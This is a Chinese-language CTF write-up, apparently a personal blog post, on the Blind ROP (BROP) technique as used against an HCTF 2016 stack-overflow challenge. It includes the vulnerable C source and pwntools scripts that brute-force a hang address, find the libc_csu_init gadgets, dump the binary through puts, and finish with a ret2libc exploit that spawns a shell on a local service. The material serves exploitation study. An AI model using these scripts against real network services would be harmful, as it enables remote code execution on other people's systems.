0x00: 关于BROP 第一次遇到BROP是在HCTF 2016,当时并没有搞定这个东西,前一段时间花了点时间研究了下这种利用方式,搞定了那个题目,顺便也看了下关于BROP的论文和slide,实践了下使用BROP技术搞低版本的ngnix。
0x01: 先说CTF中遇到的 比赛结束后,杭电的师傅们把题目都开源丢github了,所以我直接拿来源码自己编译自己搞了,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #include <stdio.h> #include <unistd.h> #include <string.h> int i;int check () ;int main (void ) { setbuf(stdin ,NULL ); setbuf(stdout ,NULL ); setbuf(stderr ,NULL ); for (;;){ puts ("WelCome my friend,Do you know password?" ); if (!check()){ puts ("Do not dump my memory" ); }else { puts ("No password, no game" ); } } return 0 ; } int check () { char buf[50 ]; read(STDIN_FILENO,buf,1024 ); return strcmp (buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk" ); }
比赛的时候这个题目只给了ip和端口,其他信息就没有了,后面给出了bof的buffer大小作为提示。那么根据这个大小可以计算出payload的结构,所以就可以使用BROP的思路去一步一步搞定这个题目了。
0x02:过程 1. 找到hang addr 首先要找到这样一个覆盖ret addr
后不会引起服务崩溃的地址,我的做法是暴力跑,利用pwntools
的异常处理来判断连接是否挂掉了。 就像这样简单粗暴的从0x400000
去跑,然后log
进文件,最后我只要去查看文件就知道hang addr
是什么了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 def log_in_file (addr ): f = open ('res.txt' ,'a' ) f.write("ok addr : 0x%x\n" % addr) f.close() def get_hang_addr (addr ): p = remote('127.0.0.1' ,10001 ) payload = "A" * 72 + p64(addr) p.recvuntil('WelCome my friend,Do you know password?' ) p.sendline(payload) try : p.recvline() if (p.recv() != None ): log.info("alive ! at 0x%x" % addr) log_in_file(addr) p.close() except EOFError as e: p.close() log.info("dead connection! at 0x%x" % addr)
2. 找到gadgets 有了hang addr
,下一步就是寻找gadgets了,我这里是直接找通用型gadgets
。 我放置的payload如下:
1 payload = "A" * 72 + p64(addr) + p64(1 )+p64(2 )+p64(3 )+p64(4 )+p64(5 )+p64(6 )+p64(hang_addr)
如果说,程序不挂那就说明找到了这个gadgets 。
1 2 3 4 5 6 7 pop rbx pop rbp pop r12 pop r13 pop r14 pop r15 ret
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def get_gadgets_addr (addr ): p = remote('127.0.0.1' ,10001 ) payload = "A" * 72 + p64(addr) + p64(1 )+p64(2 )+p64(3 )+p64(4 )+p64(5 )+p64(6 )+p64(hang_addr) p.recvuntil('WelCome my friend,Do you know password?' ) p.sendline(payload) try : p.recvline() if (p.recv() != None ): log.info("find gadgets at 0x%x" % addr) log_in_file(addr) p.close() except EOFError as e: p.close() log.info("dead connection! at 0x%x" % addr)
最后我得到的结果是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ppppppr_addr = 0x4007ba gadget2 = ppppppr_addr - 0x1a gadget1 = ppppppr_addr ''' gadget1: mov rdx,r13 mov rsi,r14 mov edi,r15d call QWORD PTR [r12+rbx*8] add rbx,0x1 cmp rbx,rbp jne 4007a0 <__libc_csu_init+0x40> add rsp,0x8 gadget2: pop rbx pop rbp pop r12 pop r13 pop r14 pop r15 ret '''
3. 构造leak去dump bin file 通用型gadgets的构造我这里使用了Icemakr写好的一个函数
1 2 3 4 5 6 7 8 9 10 11 12 def com_gadget (part1, part2, jmp2, arg1 = 0x0 , arg2 = 0x0 , arg3 = 0x0 ): payload = p64(part1) payload += p64(0x0 ) payload += p64(0x1 ) payload += p64(jmp2) payload += p64(arg3) payload += p64(arg2) payload += p64(arg1) payload += p64(part2) payload += 'A' * 56 return payload
后面直接构造leak函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 def leak (addr ): p = remote('127.0.0.1' ,10001 ) payload = "A" *72 + com_gadget(gadget1,gadget2,puts_addr,arg1=addr)+p64(hang_addr) p.recvuntil('WelCome my friend,Do you know password?' ) p.sendline(payload) try : p.recvline() data = p.recvline().strip() if (data != None ): try : data = data[0 :data.index("WelCome" )] except ValueError as e: data = data if data == "" : data = "\x00" elif (data[len (data)- 1 ] == '\n' and data[len (data)- 2 ] == '\n' ): data = data.strip() data = data+"\x0a" log.info("leaking: 0x%x --> %s" % (addr,(data or '' ).encode('hex' ))) p.close() return data except EOFError as e: p.close() log.info("dead connection! at 0x%x" % addr) return None
其实只要分别从0x400000和0x600000开始dump就可以。
4.getshell 有了dump之后就得到了got表的信息,下面就可以正常的做了,leak函数地址,查偏移,然后构造rop,然后getshell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *context.log_level = 'debug' context.arch='amd64' def com_gadget (part1, part2, jmp2, arg1 = 0x0 , arg2 = 0x0 , arg3 = 0x0 ): payload = p64(part1) payload += p64(0x0 ) payload += p64(0x1 ) payload += p64(jmp2) payload += p64(arg3) payload += p64(arg2) payload += p64(arg1) payload += p64(part2) payload += 'A' * 56 return payload hang_addr = 0x400724 ppppppr_addr = 0x4007ba gadget1 = ppppppr_addr gadget2 = ppppppr_addr - 0x1a puts_got = 0x601018 pop_rdi = gadget1 + (0x400E72 - 0x400E6A + 1 ) p = remote('127.0.0.1' ,10001 ) payload = 'A' * 72 payload += com_gadget(gadget1,gadget2,puts_got,arg1=0 ,arg2=puts_got)+p64(hang_addr) payload += p64(hang_addr) p.send(payload) content = p.recv() puts_addr = u64(content[:-1 ] + '\x00\x00' ) offset_system = 0x45390 offset_str_bin_sh = 0x18c177 system_addr = puts_addr - (0x6f690 - offset_system) bin_sh_addr = puts_addr - (0x6f690 - offset_str_bin_sh) payload = 'A' * 72 payload += p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr) p.send(payload) p.interactive()
0x03: 参考与引用 BROP Icemakr师傅的git